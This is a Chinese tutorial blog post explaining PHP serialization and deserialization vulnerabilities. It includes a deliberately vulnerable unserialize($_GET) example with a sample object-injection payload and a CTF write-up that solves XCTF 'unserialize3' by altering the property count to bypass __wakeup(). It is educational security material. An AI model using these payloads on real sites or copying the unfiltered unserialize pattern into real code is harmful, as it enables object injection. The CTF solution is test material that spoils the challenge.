PHP序列化和反序列化

https://www.jianshu.com/p/8f498198fc3d
一篇通俗易懂的好文章:
https://www.freebuf.com/articles/web/167721.html

序列化和反序列化

序列化是把一个对象变成可以传输的字符串。
反序列化就是把那串可以传输的字符串再变回对象

1.序列化

serialize() 函数
用于序列化对象或数组,并返回一个字符串。可以用于保存

<?php
$sites = array('t1', 'tt2', 'ttt3');
$serialized_data = serialize($sites);
echo  $serialized_data;
?>

输出结果
a:3:{i:0;s:2:“t1”;i:1;s:3:“tt2”;i:2;s:4:“ttt3”;}
各个字符的意义 —> o表示对象,a表示数组,s表示字符,i表示数字
a:3 表示有三个数组
i:0,表示第一个数组,s:2:“t1”,表示第一个数组是字符,2表示有两个字符,为"t1"
i:1,表示第二个数组,s:3:“tt2”,表示第二个数组是字符,3表示有三个字符,为"tt2"
i:2,表示第三个数组,s:4:“ttt3”,表示第三个数组是字符,4表示有三个字符,为"ttt3"

2.反序列化

unserialize() 函数
用于将通过 serialize()函数序列化后的对象或数组进行反序列化,变成一个对象,并返回原始的对象结构

<?php
$sites = array('t1', 'tt2', 'ttt3');
$serialized_data = serialize($sites);
#echo  $serialized_data;
$unserialized_data = unserialize($serialized_data);
print_r($unserialized_data);
?>

结果如下

Array
(
    [0] =>  t1
    [1] =>  tt2
    [2] =>  ttt3
)

php使用serialize这个过程被称为序列化,使用unserialize这个过程被称为反序列化。

3.为什么会产生这个漏洞

那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?
这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

php类可能会包含一些特殊的函数叫magic函数(魔法函数),magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数通常会因为某些条件而触发不用我们手动调用,例如

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

举个别人的例子:

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

这里我们只要构造payload:

http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}

就能控制echo出的变量

攻防世界 unserialize3

在这里插入图片描述
先来看看题目代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
知识点:

1、serialize()函数:用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

2、unserialize()函数:用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

3、魔术方法:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。

4、serialize()和unserialize()函数对魔术方法的处理:serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。
unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

5、__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。

结合题目和题中代码,就是让我们运用,__wakeup()函数的漏洞拿flag的
创建一个xctf类并对其进行序列化:

    <?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $c = new xctf();
    print(serialize($c));
    ?>

得到结果:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}

大括号前面的1便是属性变量的个数,只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行。

传参

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

拿到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值